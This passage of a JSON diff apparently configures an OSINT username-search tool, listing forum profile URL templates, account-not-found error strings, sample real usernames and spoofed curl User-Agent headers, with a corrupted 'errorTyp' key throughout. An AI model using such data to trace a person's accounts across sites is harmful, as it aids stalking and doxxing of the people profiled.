"urlMain": "https://thule.ucoz.ru", + "usernameON": "jtaletbcse", + "bad_site": "" + }, + "Forum_thumpertalk": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.thumpertalk.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.thumpertalk.com", + "usernameON": "mildride", + "bad_site": "" + }, + "Forum_tidalfish": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tidalfish.com/members/?username={}", + "urlMain": "https://www.tidalfish.com", + "usernameON": "longtail", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tigerdata": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.tigerdata.com/forum/u/{}/summary", + "urlMain": "https://forum.tigerdata.com", + "usernameON": "ts101", + "bad_site": "" + }, + "Forum_tights4men": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://time-paradox.ucoz.ru/index/8-0-{}", + "urlMain": "https://time-paradox.ucoz.ru", + "usernameON": "uliaandreeva149", + "bad_site": "" + }, + "Forum_timich": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://timich.ru/index/8-0-{}", + "urlMain": "http://timich.ru", + "usernameON": "rektie", + "bad_site": "" + }, + "Forum_titanquest": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://titanquest.org.ua/index/8-0-{}", + "urlMain": "https://titanquest.org.ua", + "usernameON": "Jack", + "bad_site": "" + }, + "Forum_tk_do": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://tk.do.am/index/8-0-{}", + "urlMain": "https://tk.do.am", + "usernameON": "romzik3", + "bad_site": "" + }, + "Forum_tks": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "403 Forbidden", + "errorMsg3": "временно приостановлен", + "errorTyp��": "message", + "url": "https://forum.tks.ru/member.php?username={}", + "urlMain": "https://forum.tks.ru/", + "usernameON": "red", + "bad_site": "" + }, + "Forum_tlm": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://tokiogirl.ucoz.ru/index/8-0-{}", + "urlMain": "https://tokiogirl.ucoz.ru", + "usernameON": "iisus1996", + "bad_site": "" + }, + "Forum_tolkienist": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://tolkienist.ucoz.ru/index/8-0-{}", + "urlMain": "http://tolkienist.ucoz.ru", + "usernameON": "Банту", + "bad_site": "" + }, + "Forum_tomtom": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tomtomforums.com/members/?username={}", + "urlMain": "https://www.tomtomforums.com", + "usernameON": "silberpfeil", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tootimid": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forums.tootimid.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.tootimid.com", + "usernameON": "eagle143", + "bad_site": "" + }, + "Forum_topeleven": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered", + "errorMsg2": "Top Eleven Forum", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.topeleven.com/member.php?username={}", + "urlMain": "https://forum.topeleven.com", + "usernameON": "Taliyah25", + "bad_site": "" + }, + "Forum_topgold": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://topgold.forum/search/?q={}&quick=1&type=core_members", + "urlMain": "https://topgold.forum/", + "usernameON": "Resolve", + "bad_site": "" + }, + "Forum_topgoldforum": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "There were no results for your search", + "errorTyp��": "message", + "url": "https://topgoldforum.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://topgoldforum.com", + "usernameON": "symphonizedbm", + "bad_site": "" + }, + "Forum_topteam": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://topteam.ucoz.ru/index/8-0-{}", + "urlMain": "https://topteam.ucoz.ru", + "usernameON": "Spinne", + "bad_site": "" + }, + "Forum_toribash": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.toribash.com/member.php?username={}", + "urlMain": "https://forum.toribash.com/", + "usernameON": "s1lvered", + "bad_site": "" + }, + "Forum_tornado": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.tornado.ws/u/{}/summary", + "urlMain": "https://forum.tornado.ws", + "usernameON": "sean", + "bad_site": "" + }, + "Forum_torquecars": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.torquecars.com/forums/members/?username={}", + "urlMain": "https://www.torquecars.com", + "usernameON": "mrmacbirch", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tortik": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://tortik.ucoz.ru/index/8-0-{}", + "urlMain": "https://tortik.ucoz.ru", + "usernameON": "ggdrEmodyz", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_tosdr": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://tosdr.community/u/{}/summary", + "urlMain": "https://tosdr.community", + "usernameON": "shadowwwind", + "bad_site": "" + }, + "Forum_totallympics": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://totallympics.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://totallympics.com", + "usernameON": "josh", + "bad_site": "" + }, + "Forum_totalrl": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.totalrl.com/forums/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://www.totalrl.com", + "usernameON": "bobbruce", + "bad_site": "" + }, + "Forum_touchussuri": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://touchussuri.ucoz.ru/index/8-0-{}", + "urlMain": "https://touchussuri.ucoz.ru", + "usernameON": "staletpuhh", + "bad_site": "" + }, + "Forum_tour": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://tourum.net/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://tourum.net", + "usernameON": "etolmacheff", + "comments": "bad", + "bad_site": "" + }, + "Forum_touringplans": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.touringplans.com/u/{}/summary", + "urlMain": "https://forum.touringplans.com", + "usernameON": "heathernoel", + "bad_site": "" + }, + "Forum_tourtrans": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.tourtrans.ru/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.tourtrans.ru", + "usernameON": "Evgeniya", + "bad_site": "" + }, + "Forum_toyotanation": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.toyotanation.com/members/?username={}", + "urlMain": "https://www.toyotanation.com", + "usernameON": "dna59", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_traceryoffate": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user does not exist.", + "errorMsg2": "Sorry, page not found", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://traceryoffate.com/forum/profile/{}/", + "urlMain": "https://traceryoffate.com", + "usernameON": "sentinel", + "bad_site": "" + }, + "Forum_tracfone": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.tracfoneforum.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.tracfoneforum.com", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_trackchecker": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация", + "errorMsg2": "Подходящих тем или сообщений не найдено.", + "errorTyp��": "message", + "url": "https://forum.trackchecker.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.trackchecker.ru", + "usernameON": "f2065", + "bad_site": "" + }, + "Forum_tractorbynet": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tractorbynet.com/forums/members/?username={}", + "urlMain": "https://www.tractorbynet.com", + "usernameON": "bmaverick", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_trade-print": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "url": "http://forum.trade-print.ru/member.php?username={}", + "urlMain": "http://forum.trade-print.ru", + "usernameON": "trioprint", + "bad_site": "" + }, + "Forum_trade2win": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.trade2win.com/members/?username={}", + "urlMain": "https://www.trade2win.com", + "usernameON": "wackypete2", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tradebrains": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "well-known/sgcaptcha", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://forum.tradebrains.in/u/{}/summary", + "urlMain": "https://forum.tradebrains.in", + "usernameON": "nikitawaghmare", + "bad_site": "" + }, + "Forum_traderji": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.traderji.com/community/members/?username={}", + "urlMain": "https://www.traderji.com/", + "usernameON": "arunbalan", + "comments": "bad", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": 1 + }, + "Forum_traderslaboratory": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "NotFound", + "errorTyp��": "message", + "url": "http://www.traderslaboratory.com/forums/search/?q={}&type=core_members", + "urlMain": "http://www.traderslaboratory.com", + "usernameON": "fxeconomist", + "bad_site": "" + }, + "Forum_tradingqna": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://tradingqna.com/u/{}/summary", + "urlMain": "https://tradingqna.com", + "usernameON": "akashkb", + "bad_site": "" + }, + "Forum_tradtalk": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tradtalk.com/members/?username={}", + "urlMain": "https://www.tradtalk.com/", + "usernameON": "lumis17", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_trainerroad": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.trainerroad.com/forum/u/{}/summary", + "urlMain": "https://www.trainerroad.com", + "usernameON": "joex", + "bad_site": "" + }, + "Forum_transit-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://transit-club.com/index/8-0-{}", + "urlMain": "http://transit-club.com", + "usernameON": "Gidanov", + "bad_site": "" + }, + "Forum_trassa": { + "country": "🇧🇾", + "country_klas": "BY", + "errorMsg": "Информация", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://trassa.by/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://trassa.by", + "usernameON": "admin", + "bad_site": "" + }, + "Forum_travel": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Поиск не дал результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.travel.ru/community/index.php?app=core&module=search&do=search&andor_type=and&search_author={}&search_app_filters[forums][sortKey]=date&search_content=both&search_app_filters[forums][noPreview]=1&search_app_filters[forums][pCount]=&search_app_filters[forums][pViews]=&search_app_filters[forums][sortKey]=date&search_app_filters[forums][sortDir]=0&search_app_filters[forums][searchInKey]=&search_term=&search_app=forums&search_app_filters[forums][searchInKey]=&search_app_filters[forums][sortKey]=title&search_app_filters[forums][sortDir]=0", + "urlMain": "https://www.travel.ru", + "usernameON": "larsen099", + "comments": "ERR_TE", + "bad_site": 1 + }, + "Forum_travel_do": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://travel.do.am/index/8-0-{}", + "urlMain": "https://travel.do.am", + "usernameON": "askutov123", + "bad_site": "" + }, + "Forum_travel_my1": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://travel.my1.ru/index/8-0-{}", + "urlMain": "https://travel.my1.ru", + "usernameON": "nbirukova1", + "bad_site": "" + }, + "Forum_trekbbs": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.trekbbs.com/members/?username={}", + "urlMain": "https://www.trekbbs.com", + "usernameON": "ericf", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_trialscentral": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W", + "errorMsg": "0 results", + "errorMsg2": "0 user", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.trialscentral.com/forums/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.trialscentral.com", + "usernameON": "choover", + "bad_site": "" + }, + "Forum_trimdownclub": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.trimdownclub.com/members/{}/", + "urlMain": "https://www.trimdownclub.com", + "usernameON": "kellyannsi", + "bad_site": "" + }, + "Forum_trinity-ai": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://trinity-ai.at.ua/index/8-0-{}", + "urlMain": "https://trinity-ai.at.ua", + "usernameON": "apelsinikgzy", + "bad_site": "" + }, + "Forum_trmk": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.trmk.org/forums/members/?username={}", + "urlMain": "https://www.trmk.org", + "usernameON": "ingend1945", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_troitsa": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://troitsa.ucoz.ru/index/8-0-{}", + "urlMain": "https://troitsa.ucoz.ru", + "usernameON": "Passhikinsky", + "bad_site": "" + }, + "Forum_trotting": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://tschkalowo.ucoz.ru/index/8-0-{}", + "urlMain": "https://tschkalowo.ucoz.ru", + "usernameON": "btaletjwhs", + "bad_site": "" + }, + "Forum_tskaro": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://tulaignk.ucoz.ru/index/8-0-{}", + "urlMain": "http://tulaignk.ucoz.ru", + "usernameON": "prokofjev7", + "bad_site": "" + }, + "Forum_tumult": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forums.tumult.com/u/{}/summary", + "urlMain": "https://forums.tumult.com", + "usernameON": "daniel", + "bad_site": "" + }, + "Forum_tundrasolutions": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tundrasolutions.com/members/?username={}", + "urlMain": "https://www.tundrasolutions.com", + "usernameON": "dxrouse", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tuning_lviv": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Тем або повідомлень, які відповідають вашому запиту, не знайдено.", + "errorMsg2": "Інформація", + "errorTyp��": "message", + "url": "http://tuning.lviv.ua/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://tuning.lviv.ua", + "usernameON": "jam", + "bad_site": "" + }, + "Forum_tupa-germania": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://forum.tupa-germania.ru/members/?username={}", + "urlMain": "https://forum.tupa-germania.ru", + "usernameON": "lagrange", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_tur_borda": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://turkmeniya.ucoz.ru/index/8-0-{}", + "urlMain": "https://turkmeniya.ucoz.ru", + "usernameON": "koleg5992", + "bad_site": "" + }, + "Forum_turntoislam": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://turntoislam.com/community/members/?username={}", + "urlMain": "https://turntoislam.com", + "usernameON": "exceller", + "comments": "RUblock", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tus-wa": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "does not exist.", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.tus-wa.com/profile/{}/", + "urlMain": "https://www.tus-wa.com", + "usernameON": "TheWalrus", + "comments": "super", + "bad_site": 1 + }, + "Forum_tvnewstalk": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Please wait", + "errorMsg2": "0 results", + "errorTyp��": "message", + "url": "https://forums.tvnewstalk.net/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.tvnewstalk.net", + "usernameON": "red", + "bad_site": "" + }, + "Forum_tvsbook": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tvsbook.com/members/?username={}", + "urlMain": "https://www.tvsbook.com", + "usernameON": "jhjg67", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tvsput": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://tvsput.ru/index/8-0-{}", + "urlMain": "http://tvsput.ru", + "usernameON": "sickorskyvik", + "bad_site": "" + }, + "Forum_tvwbb": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://tvwbb.com/members/?username={}", + "urlMain": "https://tvwbb.com", + "usernameON": "bruno", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tw200forum": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tw200forum.com/members/?username={}", + "urlMain": "https://www.tw200forum.com", + "usernameON": "drlemonator", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_twilightmovie": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://twilightmovie.ucoz.com/index/8-0-{}", + "urlMain": "https://twilightmovie.ucoz.com", + "usernameON": "фанатка", + "bad_site": "" + }, + "Forum_twilightrussia": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "\\W", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://twilightrussia.ru/index/8-0-{}", + "urlMain": "https://twilightrussia.ru", + "usernameON": "MissElen", + "bad_site": "" + }, + "Forum_twospoke": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.twospoke.com/members/?username={}", + "urlMain": "https://www.twospoke.com", + "usernameON": "stevesmith143", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_type2diabetes": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Page not found", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://type2diabetes.com/members/{}", + "urlMain": "https://type2diabetes.com", + "usernameON": "girlsaylor", + "bad_site": "" + }, + "Forum_u-hiv": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://forum.u-hiv.ru/index/8-0-{}", + "urlMain": "https://forum.u-hiv.ru", + "usernameON": "Slavochka", + "bad_site": "" + }, + "Forum_u-project": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://u-project.pro/members/?username={}", + "urlMain": "https://u-project.pro", + "usernameON": "takeshi", + "bad_site": 1, + "comments": "vzlom", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_ua-vet": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://forum.ua-vet.com/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.ua-vet.com", + "usernameON": "irina", + "bad_site": "" + }, + "Forum_uahack": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://uahack.at.ua/index/8-0-{}", + "urlMain": "https://uahack.at.ua", + "usernameON": "alexeiuslugivzloma", + "bad_site": "" + }, + "Forum_uaksu": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://uaksu.forum24.ru/?32-{}", + "urlMain": "https://uaksu.forum24.ru", + "usernameON": "vleas", + "bad_site": "" + }, + "Forum_uberpeople": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.uberpeople.net/members/?username={}", + "urlMain": "https://www.uberpeople.net", + "usernameON": "nats121", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ubports": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forums.ubports.com/user/{}", + "urlMain": "https://forums.ubports.com", + "usernameON": "applee", + "bad_site": "" + }, + "Forum_ubuntu": { + "country": "🇮🇹", + "country_klas": "IT", + "errorMsg": "Nessuna iscrizione corrisponde a questi criteri di ricerca.", + "errorMsg2": "re not a", + "errorTyp��": "message", + "url": "https://forum.ubuntu-it.org/memberlist.php?username={}", + "urlMain": "https://forum.ubuntu-it.org", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_ubuntu_mate": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://ubuntu-mate.community/u/{}/summary", + "urlMain": "https://ubuntu-mate.community", + "usernameON": "oldstrummer", + "bad_site": "" + }, + "Forum_uc-portaller": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://uc-portaller.ucoz.com/index/8-0-{}", + "urlMain": "http://uc-portaller.ucoz.com", + "usernameON": "use_vse", + "bad_site": "" + }, + "Forum_ucoz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://forum.ucoz.ru/index/8-0-{}", + "urlMain": "https://forum.ucoz.ru", + "usernameON": "red", + "bad_site": "" + }, + "Forum_ucozweber": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ucozweber.3dn.ru/index/8-0-{}", + "urlMain": "https://ucozweber.3dn.ru", + "usernameON": "SoVeR", + "bad_site": "" + }, + "Forum_ucozzz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "http://ucozzz.ru/index/8-0-{}", + "urlMain": "http://ucozzz.ru", + "usernameON": "podrubaj", + "comments": "vzlom", + "bad_site": 1 + }, + "Forum_ufachgk": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>Форум Uinsell.Net", + "errorTyp��": "message", + "url": "http://forum.uinsell.net/member.php?username={}", + "urlMain": "http://forum.uinsell.net", + "usernameON": "ghost", + "bad_site": "" + }, + "Forum_uk_muscle": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.uk-muscle.co.uk/members/?username={}", + "urlMain": "https://www.uk-muscle.co.uk", + "usernameON": "zenol", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ukbusiness": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ukbusinessforums.co.uk/members/?username={}", + "urlMain": "https://www.ukbusinessforums.co.uk", + "usernameON": "fisicx", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ukraine_de": { + "country": "🇩🇪", + "country_klas": "DE", + "errorMsg": "Es wurden keine passenden", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": 